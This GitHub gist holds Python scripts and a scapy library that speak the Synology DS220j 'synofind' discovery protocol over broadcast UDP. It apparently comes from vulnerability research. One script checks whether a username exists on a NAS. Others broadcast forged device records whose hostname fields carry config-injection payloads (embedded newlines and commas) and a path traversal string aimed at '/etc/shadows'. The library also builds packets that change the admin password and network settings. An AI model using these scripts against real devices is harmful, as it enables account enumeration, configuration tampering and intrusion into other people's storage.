-
-
Save Dil4rd/8e25d3ae467927103a50a787650ad350 to your computer and use it in GitHub Desktop.
Synology NAS DS220j. synofind python scripts
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# -*- coding: utf-8 -*- | |
import sys | |
import synofind | |
interface='eno1' | |
nas_mac=None | |
if len(sys.argv) < 3: | |
print('Error, username and NAS MAC required!') | |
print(f'Example: {__file__!s} admin 00:11:22:33:44:55 eth1') | |
sys.exit(2) | |
# configure interface | |
if len(sys.argv) == 4: | |
interface = sys.argv[3] | |
# get username and NAS MAC address | |
username = sys.argv[1].encode('utf8') | |
nas_mac = sys.argv[2].encode('utf8') | |
# check user exists | |
exist = synofind.check_user_exists(nas_mac, username, interface) | |
if exist: | |
print(f'User {sys.argv[1]!r} exists') | |
else: | |
print(f'No such user {sys.argv[1]!r}') | |
sys.exit(1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# -*- coding: utf-8 -*- | |
import sys | |
import synofind | |
import pprint | |
interface='eno1' | |
nas_mac=None | |
if len(sys.argv) < 2: | |
print('Error, NAS MAC is required!') | |
print(f'Example: {__file__!s} 00:11:22:33:44:55 eth1') | |
sys.exit(2) | |
# configure interface | |
if len(sys.argv) == 3: | |
interface = sys.argv[2] | |
# get NAS MAC address | |
nas_mac = sys.argv[1].encode('utf8') | |
# get device info | |
info = synofind.query_info(nas_mac, interface) | |
pprint.pprint(info) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# -*- coding: utf-8 -*- | |
import socket | |
from struct import * | |
from ipaddress import IPv4Address | |
from scapy.all import * | |
from collections import namedtuple | |
SynoField = namedtuple('SynoField', ['id', 'value']) | |
MAGIC = b'\x124VxSYNO' | |
def swap32(x): | |
return (((x << 24) & 0xFF000000) | | |
((x << 8) & 0x00FF0000) | | |
((x >> 8) & 0x0000FF00) | | |
((x >> 24) & 0x000000FF)) | |
def pack_field_str(fid: int, fdata: bytes) -> bytes: | |
fhdr = pack('BB', fid, len(fdata)) | |
return fhdr + fdata | |
def pack_field_u32(fid: int, value: int) -> bytes: | |
fhdr = pack('BB', fid, 4) | |
return fhdr + pack('<I', value) | |
def gen_cmd_1(mac_addr: bytes) -> bytes: | |
packet = MAGIC | |
packet += pack_field_u32(1, 1) # command | |
packet += pack_field_u32(0xa4, 0x01000000) # some flags | |
packet += pack_field_str(25, mac_addr) # NAS MAC address | |
return packet | |
def gen_cmd_3(mac_addr: bytes, username: bytes, password: bytes, hostname: bytes, ip: str, netmask: str, gateway: str, dns: str, is_dhcp: bool) -> bytes: | |
packet = MAGIC | |
packet += pack_field_u32(1, 3) # command | |
packet += pack_field_u32(0xa4, 0x01000000) # some flags | |
packet += pack_field_u32(194, 0xffffff) # some value | |
packet += pack_field_str(74, username) # NAS user name | |
packet += pack_field_u32(32, 1 if is_dhcp else 0) # static/dhcp | |
packet += pack_field_str(33, hostname) # new NAS host name | |
packet += pack_field_u32(34, swap32(int(IPv4Address(ip)))) # new IP | |
packet += pack_field_u32(35, swap32(int(IPv4Address(netmask)))) # new netmask | |
packet += pack_field_u32(36, swap32(int(IPv4Address(gateway)))) # new gateway | |
packet += pack_field_u32(37, swap32(int(IPv4Address(dns)))) # new dns | |
packet += pack_field_str(41, mac_addr) # NAS MAC address | |
packet += pack_field_str(42, password) # NAS user password | |
return packet | |
def gen_cmd_4(mac_addr: bytes, password: bytes, hostname: bytes, ip: str, netmask: str, gateway: str, dns: str, is_dhcp: bool) -> bytes: | |
packet = MAGIC | |
packet += pack_field_u32(1, 4) # command | |
packet += pack_field_u32(0xa4, 0x01000000) # some flags | |
packet += pack_field_str(25, mac_addr) # NAS MAC address | |
packet += pack_field_str(26, password) # new NAS admin password | |
packet += pack_field_u32(16, 1 if is_dhcp else 0) # static/dhcp | |
packet += pack_field_str(17, hostname) # new NAS host name | |
packet += pack_field_u32(18, swap32(int(IPv4Address(ip)))) # new IP | |
packet += pack_field_u32(19, swap32(int(IPv4Address(netmask)))) # new netmask | |
packet += pack_field_u32(20, swap32(int(IPv4Address(gateway)))) # new gateway | |
packet += pack_field_u32(21, swap32(int(IPv4Address(dns)))) # new dns | |
return packet | |
def gen_cmd_5(mac_addr: bytes, username: bytes) -> bytes: | |
packet = MAGIC | |
packet += pack_field_u32(1, 5) # command | |
packet += pack_field_u32(0xa4, 0x01000000) # some flags | |
packet += pack_field_str(25, mac_addr) # NAS MAC address | |
packet += pack_field_str(74, username) # NAS user name | |
return packet | |
def gen_cmd_7(mac_addr: bytes, username: bytes, password: bytes) -> bytes: | |
packet = MAGIC | |
packet += pack_field_u32(1, 7) # command | |
packet += pack_field_u32(0xa4, 0x01000000) # some flags | |
packet += pack_field_str(25, mac_addr) # NAS MAC address | |
packet += pack_field_str(74, username) # NAS user name | |
packet += pack_field_str(26, password) # NAS user password | |
return packet | |
def gen_cmd_9(mac_addr: bytes, username: bytes) -> bytes: | |
packet = MAGIC | |
packet += pack_field_u32(1, 9) # command | |
packet += pack_field_u32(0xa4, 0x01000000) # some flags | |
packet += pack_field_str(25, mac_addr) # NAS MAC address | |
packet += pack_field_str(74, username) # NAS user name | |
return packet | |
def gen_cmd_13(mac_addr: bytes, username: bytes) -> bytes: | |
packet = MAGIC | |
packet += pack_field_u32(1, 13) # command | |
packet += pack_field_u32(0xa4, 0x01000000) # some flags | |
packet += pack_field_str(25, mac_addr) # NAS MAC address | |
packet += pack_field_str(74, username) # NAS user name | |
return packet | |
def gen_cmd_2(mac_addr: bytes, model_number: int, build: int, hostname: bytes, ip: str): | |
packet = MAGIC | |
packet += pack_field_u32(1, 2) # command | |
packet += pack_field_u32(0xa4, 0x01000000) # some flags | |
packet += pack_field_str(25, mac_addr) # NAS MAC address | |
packet += pack_field_u32(72, model_number) # model number | |
packet += pack_field_u32(18, swap32(int(IPv4Address(ip)))) # IP | |
packet += pack_field_u32(73, build) # build number | |
packet += pack_field_str(17, hostname) # hostname | |
return packet | |
def gen_cmd_6(mac_addr: bytes, model_number: int, build: int, hostname: bytes, ip: str): | |
packet = MAGIC | |
packet += pack_field_u32(1, 6) # command | |
packet += pack_field_u32(0xa4, 0x01000000) # some flags | |
packet += pack_field_str(25, mac_addr) # NAS MAC address | |
packet += pack_field_u32(72, model_number) # model number | |
packet += pack_field_u32(18, swap32(int(IPv4Address(ip)))) # IP | |
packet += pack_field_u32(73, build) # build number | |
packet += pack_field_str(17, hostname) # hostname | |
return packet | |
def parse_packet(buf: bytes): | |
if len(buf) < len(MAGIC): | |
return None | |
if buf[0:len(MAGIC)] != MAGIC: | |
return None | |
pkt = [] | |
off = len(MAGIC) | |
while off < len(buf): | |
# check for wrong format | |
if off + 2 > len(buf): return None | |
fid, flen = unpack('BB', buf[off: off+2]) | |
# check for wrong format | |
if off + 2 > len(buf): return None | |
pkt.append(SynoField(fid, buf[off+2: off+2+flen])) | |
off += flen + 2 | |
return pkt | |
def check_user_exists(mac_addr: bytes, username: bytes, iface: str) -> bool: | |
msg = gen_cmd_9(mac_addr, username) | |
send_msg(msg, iface) | |
# | |
in_msg = recv_msg() | |
in_pkt = parse_packet(in_msg) | |
# find and check error field | |
for fld in in_pkt: | |
if fld.id == 31: | |
return unpack('<I', fld.value)[0] == 0 | |
return False | |
def list_rw_folders(mac_addr: bytes, username: bytes, iface: str) -> list: | |
msg = gen_cmd_5(mac_addr, username) | |
send_msg(msg, iface) | |
in_msg = recv_msg(10) | |
return parse_packet(in_msg) | |
def list_ro_folders(mac_addr: bytes, username: bytes, iface: str) -> list: | |
msg = gen_cmd_13(mac_addr, username) | |
send_msg(msg, iface) | |
in_msg = recv_msg(10) | |
return parse_packet(in_msg) | |
def query_info(mac_addr: bytes, iface: str) -> list: | |
msg = gen_cmd_1(mac_addr) | |
send_msg(msg, iface) | |
rmsg = recv_msg(10) | |
return parse_packet(rmsg) | |
def send_msg(message: bytes, iface: str): | |
raw_msg = Ether(dst='ff:ff:ff:ff:ff:ff')/IP(dst='255.255.255.255')/UDP(sport=RandShort(), dport=9999)/message | |
sendp(raw_msg, iface=iface, verbose=False) | |
def recv_msg(timeout=2) -> bytes: | |
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
sock.bind(('',9999)) | |
sock.settimeout(timeout) | |
data, _ = sock.recvfrom(1024) | |
sock.close() | |
return data |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# -*- coding: utf-8 -*- | |
import sys | |
import synofind | |
import pprint | |
interface='eno1' | |
nas_mac=None | |
if len(sys.argv) < 2: | |
print('Error, NAS MAC is required!') | |
print(f'Example: {__file__!s} 00:11:22:33:44:55 eth1') | |
sys.exit(2) | |
# configure interface | |
if len(sys.argv) == 3: | |
interface = sys.argv[2] | |
# get NAS MAC address | |
nas_mac = sys.argv[1].encode('utf8') | |
#### generate fake devices (cmd 2) #### | |
# add normal record | |
msg = synofind.gen_cmd_2(nas_mac, 1, 240, b'device2', '10.0.0.2') | |
synofind.send_msg(msg, interface) | |
# inject record | |
msg = synofind.gen_cmd_2(nas_mac, 0, 0, b',,\n1,240,inj,10.0.0.100,', '10.10.10.10') | |
synofind.send_msg(msg, interface) | |
# break config structure | |
msg = synofind.gen_cmd_2(nas_mac, 1, 240, b'bad_ip,t.co,,', '10.10.10.10') | |
synofind.send_msg(msg, interface) | |
# add one more normal record | |
msg = synofind.gen_cmd_2(nas_mac, 1, 240, b'device2', '10.0.0.222') | |
synofind.send_msg(msg, interface) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# -*- coding: utf-8 -*- | |
import sys | |
import synofind | |
import pprint | |
interface='eno1' | |
nas_mac=None | |
if len(sys.argv) < 2: | |
print('Error, NAS MAC is required!') | |
print(f'Example: {__file__!s} 00:11:22:33:44:55 eth1') | |
sys.exit(2) | |
# configure interface | |
if len(sys.argv) == 3: | |
interface = sys.argv[2] | |
# get NAS MAC address | |
nas_mac = sys.argv[1].encode('utf8') | |
#### generate fake devices (cmd 6) #### | |
# add normal record | |
msg = synofind.gen_cmd_6(nas_mac, 1, 240, b'device6', '10.0.0.6') | |
synofind.send_msg(msg, interface) | |
# do config injection | |
msg = synofind.gen_cmd_6(nas_mac, 1, 240, b'hh,172.16.0.10,ff:ff:ff:ff:ff:ff\n', '10.0.1.6') | |
synofind.send_msg(msg, interface) | |
# try path traversal in the hostname | |
msg = synofind.gen_cmd_6(nas_mac, 1, 240, b'..\..\etc/shadows', '10.0.66.6') | |
synofind.send_msg(msg, interface) | |
# add normal record | |
msg = synofind.gen_cmd_6(nas_mac, 1, 240, b'device6', '10.0.0.66') | |
synofind.send_msg(msg, interface) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment